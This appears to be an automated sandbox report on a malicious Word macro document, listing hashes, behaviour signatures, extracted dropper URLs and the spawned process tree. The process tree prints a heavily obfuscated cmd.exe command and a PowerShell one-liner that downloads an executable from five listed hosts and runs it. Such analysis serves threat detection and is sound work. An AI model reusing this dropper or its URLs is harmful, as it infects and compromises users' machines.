Overview

overview

10

Static

static

8

23cf9be951...18.doc

windows7-x64

10

23cf9be951...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    08-05-2024 07:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    23cf9be95112a70532fecf8ac281cfac_JaffaCakes118.doc

  • Size

    363KB

  • MD5

    23cf9be95112a70532fecf8ac281cfac

  • SHA1

    ffefd12e4446b57e949da269849d3e41e48a1860

  • SHA256

    3b989a9a60b40ee5295f0d66bf9400fb75634c9cdc72325db17dc986321403aa

  • SHA512

    4ed5b544776e60f3c5bc13f0155b988db1832054fb7ccad1d03514402eb2431361a4deae0d04582e0d8e92fcda7c8d11c8402d59e92281f27c9a4bc3489ffed3

  • SSDEEP

    6144:nxjFSdDqxP1Ow5lKWyipxTKlYWofUVEPf3ZaYsKCwz1UCAdv1c8:FFSpsgw5sWyqAl8U+PfJb+6em8

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yuanjhua.com/sM03OXw
exe.dropper

http://muhammadiyahamin.com/wp-content/uploads/2018/05/ZP9
exe.dropper

http://overheaddoorsandlocksmith.com/5Oo
exe.dropper

http://www.communic.at/f0rk3
exe.dropper

http://soundscape.id/qaXToO

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

    execution
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\23cf9be95112a70532fecf8ac281cfac_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ^for , ; /F , " tokens= 1 delims=fNXOL" ; %h ; iN , ( , ' ; f^^tyP^^e ; ^| ; f^^IndS^^tR , df^^i ' , , ) ; ; DO ; ; %h; , F^/^VpG_^7HNj , , v2FBxK7/^R " ; , ( (SE^t ^ ]-^_=,t^(NE^Prk^:muih@qf 93F8X^C'=v^)/dO-$J\0^WTS+Z^y5jMx^.^sp1;eoalD^{^}B2bnwc) , ; , ; , )& ; , FOr , ; %^L , ^In ; ; ( 47 ^ , 5^1 , +61 , 50 ^, ^ ^ ^6 ,^ ; , ;^ , ^46^ , 12 ^, 50 , 53 , 53 ,^ ; ^ , 16 , 31 ^ , 22 ^, , , 36 , , ,^ ^19 , ; ^, ^24 , 6^0 ^, 50^ , 61 , 30 ^ ,^ 51 , +59 ,^ 42 , ^ 50 , 62 , ^1 , ^, , ^,^ , 16 ^, 3 , ^ 50 ^ , ; ^, +1 , +45 ,^ ^+3^5 , ^ 50 , ^+59 ,^ , , 22 , 5^3 ^, ; ^, 11 ^ ^, 50 , +60 ^ , 1^ ^, 49 , 31^ ^, +^51 ^ ^, 57^ ,^ 32 , ^ +^24 ^, +23 , 12 ^, 1^ , +1 ^, 47 , ; ^ , ^ ; , 8 , ; , +2^7 , 27 , ; , ^ ; , 61^ ^ , , , , ^,^ 6^1 ^ , ^ +61 ^ ^ , 4^5^ ,^ ^ 40 , +10 , 5^2^ , +6^0 ,^ ; ^ ^ , 42 , ^ ^+12 ^ , 10^ , ^ 52 ^ , ; ,^ 45 ,^ +62 ^ ^, ^5^1 , ^9 , 27 , 46^ , ; , ; ^ , 43 ^,^ ^ +34 ^ ^, , ^ ,^ 1^8 , 29 , 21 ^ , ,^ , 6^1 , 1^3^ , ^, ^, 12^ , 1 , 1^ ^ ^, ;^ ^, ^ ^ 47 , , , ,^ ^ , ^ ^8 , ; , 27^ ^, 27 ^ ,^ ^ 9 ^ , +10 , +12 , ^ ; , ^ 52 ^ , 9 , 9 , ^52^ ^ , +^28 ,^ 1^1^ ^, ^; ^, ; , 40 ^ ^, ^; , 52 , ^1^2 , 52 , 9^ ^ , 1^1 , ; , 60 , 45 ,^ 62 , 51 , 9 , ^ 27 , +61^ ^, ^ , , ^ ^, , 47 , ^30 , 62 ^, ^ , , ,^ , 51 ^ ^, ^ , ,^ , ^ ^ , ^ +60 ^ ^, 1 ^, 50 , 6^0^ ^, ^ +1 , 27 , 10 ^, 47^ , , , , , ^5^3 ^, 51 , ^ 52 , ^28 , 46 , 2^7 , 58 , +34 ^ ^,^ 48 , ; , 20 ^ ^, ^ 27 ^ ^ , ; ^, ; , ^ 3^4 , ^ 41 , 27 , ^; , ^+39^ , +5 , 17 ^,^ 1^3^ , 12 , 1 ^ , , , 1 ,^ ,^ , , , ^47 , ^ ; ^, ; ,^ 8 , ^ 27 ^, +27 , 51 , +^25^ , +5^0^ ^, 6 , 12 , 50 , 52 , 28 , +28 ^ ^,^ ;^ , ^ 51^ ^,^ ^ , ^ ,^ , ^,^ +51 ,^ ;^ , ; , ^ 6 , , , +46 ^ , ; ^ , 52 ^,^ ^60 , ,^ ^, ,^ ^ , 2^8^ , 53 ,^ ^ +51 , ^ ^62 , 7^ , 4^6 , +9 , ; ^ , 11 , ^, , ^1 , ^+12 , 45^ , 62 ^ , 51^ ^, 9 ,^ , , +27 , 41 , 2^9 ^, , , 51 , 13^ ^ ,^ 12^ ^, 1 , 1 , 47 , 8 , +27 ^, 27 ^, 61 ,^ ; ^,^ +^61 , ^61 , 45 ^ ,^ 62 , , , , , ^51 ^, 9 ^ ^, ^9^ , 10 , +60 , ^11 , ^ , ^ , ^, ,^ 62 , ^ 45 , 52 , ^ , ^ ^ , , , 1^ , 2^7 , +1^5 , ; , 34 ^ ^, ; ^, 6^ ^ ^, +7 , ; , ^; ^ , 18^ ^ , ; ,^ 13 , 12 ^ , +1 , ; ^ , 1 , +^4^7 , ^8 , 27 , +27 , ^ ^ 46 ^, 51 , ^ 10 ^ , 60 , 28 ^ ,^ ^ 46 , 62 , 5^2^ ^ , +47 ^ ^ , 50^ , ; ^, ^ ^45 , ^; ^ ^, +11 , ^ 28 ^, 27 ^, ^ 14 , ^52^ ,^ +21 , 36 , 51 , ^ ; , ; ^, 29 , ; , 23 , 45^ ^, ^ 37 , ^ 47 ^ ^,^ ; ^ , ^53 ,^ 11^ , 1 , 2^ , ^+2^3 ,^ , ^, 13^ , 23 ^, 2^6^ , ^ ,^ , +49 , 31 , ; , ^ ; , +35^ , ^ 4 , 43^ , ^ 16 ^ , +^24^ ^ , 16^ ^ ^, 23^ ,^ , , ^, , +1^8 , ; ^ ,^ ^ ^; , 20 ^, +34 ^, 23 ,^ 49^ , 31 , ^ ^4^ ^ ^ , +46^ , ^ +61 , 24^ , ^ 31^ ^, ; , ;^ , 50 ^, ; , ;^ ^ ^,^ 60 ^ ,^ 2^5 , 8 , ^1 ^, ^ ^ ; ^ , ; ,^ +50 , ^ ^+9 ^, , , ^, ,^ 47 , ^ ; , ;^ , ^38 , ^ 23 , 33 , 23 ^ , 38 ^, 31^ ^, +35 , , , , , 4 , , ^,^ +^43 ^ , 3^8^ , ; ,^ 2^3 , , ^ , ^, , +^45 , 50^ , , ^ ,^ 44 ^ , 50 , , , 23 ^ , +^49 , 15 , ^ 51^ , 6 , +50 , ^ +52^ ^ , ,^ , , , 62^ ^ , 12 , 2 , , , ,^ , ^ 3^1 ^ ,^ 39 ^, 60 ,^ ^35 , ^16 ,^ , , , ,^ 11^ ^ ^, ; ,^ ; , 60^ , ^ 1^6 , ; ^,^ ^ ^; , 31 ^, ^; ^, ^ ; , 51 ,^ ^+57 ,^ ^ 32 ^ , +26 ^, 55 , 1 ^ , 6 , ; ^, ^ ; , 40 , 55 , +^31 ,^ 22 , , ^, , , ^ 36 ^,^ 1^9 ^ , 45 , ^ 54 ,^ ; , 51 ,^ , , 61^ , 60 ^, 53 ^, +51 ^ ^ , ; , ; , 52^ , 2^8 , ; ,^ ; , 19 , 11 ,^ ^ 53 ,^ 50 , 2 ^, +^31^ , 39 , 60^ , ^ 35 , ^0 , ;^ , 16 ^, 31 ^, ^,^ , 4^ , 46 , ; , ^ ^ ; , ^+^6^1^ , 26 , ^+4^9 , 37^ , ^, , , ^, 1 , , , , , +52 , ^6^ ^, , ^ , , , ^ 1 ,^ ^ 30 ^, +^5^ , 6 , , ,^ 51 , 62 , 50 , 46 ,^ ^+46^ , ^ 16 , 31 ^, +4 , 46 ,^ 61 , ; , +^49 , ^ 59 , 6 , 50^ , ^+5^2 , +7 , +49^ , 56 ^ , 62^ , 52 ^ , 1^ ^ , 62 ^ , 12 ^, ; , ; , 55 , 56^ ^ ,^ 56 ^ , 16 , 16^ , 16 ^ , 16^ ,^ , , ^ , , 16 ^, 16 , 16 ^, 1^6 , 16 ^ , 1^6 , ^16 ^,^ 16 , 16 ^, ,^ ^, ,^ , 1^6 , , ,^ , , 16 , ; , ;^ ^ ,^ 16 , 16 ^ , 7^3^ ) , ; DO (^S^E^T .^{*=!.^{*!!]-^_:~ %^L, 1!)&& ; , i^F , ; %^L ; ^gEQ , , 73 , ; ( (CA^ll ; , %.^{*:~ ^ 5%) , , , , , ) "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c f^tyP^e | f^IndS^tR df^i
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3440
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" ftyPe "
          4⤵
            PID:3460
          • C:\Windows\SysWOW64\findstr.exe
            fIndStR dfi
            4⤵
              PID:3468
          • C:\Windows\SysWOW64\cmd.exe
            cmd ; , F/VpG_7HNj , , v2FBxK7/R " ; , ( (SE^t ^ ]-^_=,t^(NE^Prk^:muih@qf 93F8X^C'=v^)/dO-$J\0^WTS+Z^y5jMx^.^sp1;eoalD^{^}B2bnwc) , ; , ; , )& ; , FOr , ; %^L , ^In ; ; ( 47 ^ , 5^1 , +61 , 50 ^, ^ ^ ^6 ,^ ; , ;^ , ^46^ , 12 ^, 50 , 53 , 53 ,^ ; ^ , 16 , 31 ^ , 22 ^, , , 36 , , ,^ ^19 , ; ^, ^24 , 6^0 ^, 50^ , 61 , 30 ^ ,^ 51 , +59 ,^ 42 , ^ 50 , 62 , ^1 , ^, , ^,^ , 16 ^, 3 , ^ 50 ^ , ; ^, +1 , +45 ,^ ^+3^5 , ^ 50 , ^+59 ,^ , , 22 , 5^3 ^, ; ^, 11 ^ ^, 50 , +60 ^ , 1^ ^, 49 , 31^ ^, +^51 ^ ^, 57^ ,^ 32 , ^ +^24 ^, +23 , 12 ^, 1^ , +1 ^, 47 , ; ^ , ^ ; , 8 , ; , +2^7 , 27 , ; , ^ ; , 61^ ^ , , , , ^,^ 6^1 ^ , ^ +61 ^ ^ , 4^5^ ,^ ^ 40 , +10 , 5^2^ , +6^0 ,^ ; ^ ^ , 42 , ^ ^+12 ^ , 10^ , ^ 52 ^ , ; ,^ 45 ,^ +62 ^ ^, ^5^1 , ^9 , 27 , 46^ , ; , ; ^ , 43 ^,^ ^ +34 ^ ^, , ^ ,^ 1^8 , 29 , 21 ^ , ,^ , 6^1 , 1^3^ , ^, ^, 12^ , 1 , 1^ ^ ^, ;^ ^, ^ ^ 47 , , , ,^ ^ , ^ ^8 , ; , 27^ ^, 27 ^ ,^ ^ 9 ^ , +10 , +12 , ^ ; , ^ 52 ^ , 9 , 9 , ^52^ ^ , +^28 ,^ 1^1^ ^, ^; ^, ; , 40 ^ ^, ^; , 52 , ^1^2 , 52 , 9^ ^ , 1^1 , ; , 60 , 45 ,^ 62 , 51 , 9 , ^ 27 , +61^ ^, ^ , , ^ ^, , 47 , ^30 , 62 ^, ^ , , ,^ , 51 ^ ^, ^ , ,^ , ^ ^ , ^ +60 ^ ^, 1 ^, 50 , 6^0^ ^, ^ +1 , 27 , 10 ^, 47^ , , , , , ^5^3 ^, 51 , ^ 52 , ^28 , 46 , 2^7 , 58 , +34 ^ ^,^ 48 , ; , 20 ^ ^, ^ 27 ^ ^ , ; ^, ; , ^ 3^4 , ^ 41 , 27 , ^; , ^+39^ , +5 , 17 ^,^ 1^3^ , 12 , 1 ^ , , , 1 ,^ ,^ , , , ^47 , ^ ; ^, ; ,^ 8 , ^ 27 ^, +27 , 51 , +^25^ , +5^0^ ^, 6 , 12 , 50 , 52 , 28 , +28 ^ ^,^ ;^ , ^ 51^ ^,^ ^ , ^ ,^ , ^,^ +51 ,^ ;^ , ; , ^ 6 , , , +46 ^ , ; ^ , 52 ^,^ ^60 , ,^ ^, ,^ ^ , 2^8^ , 53 ,^ ^ +51 , ^ ^62 , 7^ , 4^6 , +9 , ; ^ , 11 , ^, , ^1 , ^+12 , 45^ , 62 ^ , 51^ ^, 9 ,^ , , +27 , 41 , 2^9 ^, , , 51 , 13^ ^ ,^ 12^ ^, 1 , 1 , 47 , 8 , +27 ^, 27 ^, 61 ,^ ; ^,^ +^61 , ^61 , 45 ^ ,^ 62 , , , , , ^51 ^, 9 ^ ^, ^9^ , 10 , +60 , ^11 , ^ , ^ , ^, ,^ 62 , ^ 45 , 52 , ^ , ^ ^ , , , 1^ , 2^7 , +1^5 , ; , 34 ^ ^, ; ^, 6^ ^ ^, +7 , ; , ^; ^ , 18^ ^ , ; ,^ 13 , 12 ^ , +1 , ; ^ , 1 , +^4^7 , ^8 , 27 , +27 , ^ ^ 46 ^, 51 , ^ 10 ^ , 60 , 28 ^ ,^ ^ 46 , 62 , 5^2^ ^ , +47 ^ ^ , 50^ , ; ^, ^ ^45 , ^; ^ ^, +11 , ^ 28 ^, 27 ^, ^ 14 , ^52^ ,^ +21 , 36 , 51 , ^ ; , ; ^, 29 , ; , 23 , 45^ ^, ^ 37 , ^ 47 ^ ^,^ ; ^ , ^53 ,^ 11^ , 1 , 2^ , ^+2^3 ,^ , ^, 13^ , 23 ^, 2^6^ , ^ ,^ , +49 , 31 , ; , ^ ; , +35^ , ^ 4 , 43^ , ^ 16 ^ , +^24^ ^ , 16^ ^ ^, 23^ ,^ , , ^, , +1^8 , ; ^ ,^ ^ ^; , 20 ^, +34 ^, 23 ,^ 49^ , 31 , ^ ^4^ ^ ^ , +46^ , ^ +61 , 24^ , ^ 31^ ^, ; , ;^ , 50 ^, ; , ;^ ^ ^,^ 60 ^ ,^ 2^5 , 8 , ^1 ^, ^ ^ ; ^ , ; ,^ +50 , ^ ^+9 ^, , , ^, ,^ 47 , ^ ; , ;^ , ^38 , ^ 23 , 33 , 23 ^ , 38 ^, 31^ ^, +35 , , , , , 4 , , ^,^ +^43 ^ , 3^8^ , ; ,^ 2^3 , , ^ , ^, , +^45 , 50^ , , ^ ,^ 44 ^ , 50 , , , 23 ^ , +^49 , 15 , ^ 51^ , 6 , +50 , ^ +52^ ^ , ,^ , , , 62^ ^ , 12 , 2 , , , ,^ , ^ 3^1 ^ ,^ 39 ^, 60 ,^ ^35 , ^16 ,^ , , , ,^ 11^ ^ ^, ; ,^ ; , 60^ , ^ 1^6 , ; ^,^ ^ ^; , 31 ^, ^; ^, ^ ; , 51 ,^ ^+57 ,^ ^ 32 ^ , +26 ^, 55 , 1 ^ , 6 , ; ^, ^ ; , 40 , 55 , +^31 ,^ 22 , , ^, , , ^ 36 ^,^ 1^9 ^ , 45 , ^ 54 ,^ ; , 51 ,^ , , 61^ , 60 ^, 53 ^, +51 ^ ^ , ; , ; , 52^ , 2^8 , ; ,^ ; , 19 , 11 ,^ ^ 53 ,^ 50 , 2 ^, +^31^ , 39 , 60^ , ^ 35 , ^0 , ;^ , 16 ^, 31 ^, ^,^ , 4^ , 46 , ; , ^ ^ ; , ^+^6^1^ , 26 , ^+4^9 , 37^ , ^, , , ^, 1 , , , , , +52 , ^6^ ^, , ^ , , , ^ 1 ,^ ^ 30 ^, +^5^ , 6 , , ,^ 51 , 62 , 50 , 46 ,^ ^+46^ , ^ 16 , 31 ^, +4 , 46 ,^ 61 , ; , +^49 , ^ 59 , 6 , 50^ , ^+5^2 , +7 , +49^ , 56 ^ , 62^ , 52 ^ , 1^ ^ , 62 ^ , 12 ^, ; , ; , 55 , 56^ ^ ,^ 56 ^ , 16 , 16^ , 16 ^ , 16^ ,^ , , ^ , , 16 ^, 16 , 16 ^, 1^6 , 16 ^ , 1^6 , ^16 ^,^ 16 , 16 ^, ,^ ^, ,^ , 1^6 , , ,^ , , 16 , ; , ;^ ^ ,^ 16 , 16 ^ , 7^3^ ) , ; DO (^S^E^T .^{*=!.^{*!!]-^_:~ %^L, 1!)&& ; , i^F , ; %^L ; ^gEQ , , 73 , ; ( (CA^ll ; , %.^{*:~ ^ 5%) , , , , , ) "
            3⤵
            • An obfuscated cmd.exe command-line is typically used to evade detection.
            • Suspicious use of WriteProcessMemory
            PID:3484
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell $CTF=new-object Net.WebClient;$oBJ='http://www.yuanjhua.com/sM03OXw@http://muhammadiyahamin.com/wp-content/uploads/2018/05/ZP9@http://overheaddoorsandlocksmith.com/5Oo@http://www.communic.at/f0rk3@http://soundscape.id/qaXToO'.Split('@');$WEM = '380';$Esw=$env:temp+'\'+$WEM+'.exe';foreach($ZnW in $oBJ){try{$CTF.DownloadFile($ZnW, $Esw);Start-Process $Esw;break;}catch{}}
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3560
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          2⤵
            PID:3684

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
          Filesize

          20KB

          MD5

          7fed519cb781f3c1840b71ffaaa56642

          SHA1

          850905d72643d60a736a277aa2de1705c2522471

          SHA256

          e40c760dce72bd82e769209bccfa4eba914f94b4193d00193a62ca8861969b98

          SHA512

          b174caa21f4beb07637fde0eb56ac0540b1b53f5b494c6f56e9bad8182d9e08c86c363dbd7f9df8575993319e77ad6b335604d52d149363191550257a4eea79d

          Download Submit

        • memory/2372-0-0x000000002F1D1000-0x000000002F1D2000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2372-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2372-2-0x0000000070D2D000-0x0000000070D38000-memory.dmp

          Filesize

          44KB

          Download

        • memory/2372-5-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-6-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-7-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-8-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-9-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-10-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-30-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-38-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-11-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-49-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-51-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-12-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-54-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-13-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-15-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-14-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-16-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-17-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-18-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-19-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-20-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-21-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-22-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-23-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-25-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-26-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-27-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-33-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-36-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-55-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-104-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-90-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-53-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-52-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-50-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-48-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-47-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-46-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-45-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-44-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-43-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-42-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-41-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-40-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-39-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-37-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-35-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-34-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-32-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-31-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-29-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-28-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-950-0x0000000070D2D000-0x0000000070D38000-memory.dmp

          Filesize

          44KB

          Download

        • memory/2372-951-0x0000000000610000-0x0000000000710000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2372-970-0x0000000070D2D000-0x0000000070D38000-memory.dmp

          Filesize

          44KB

          Download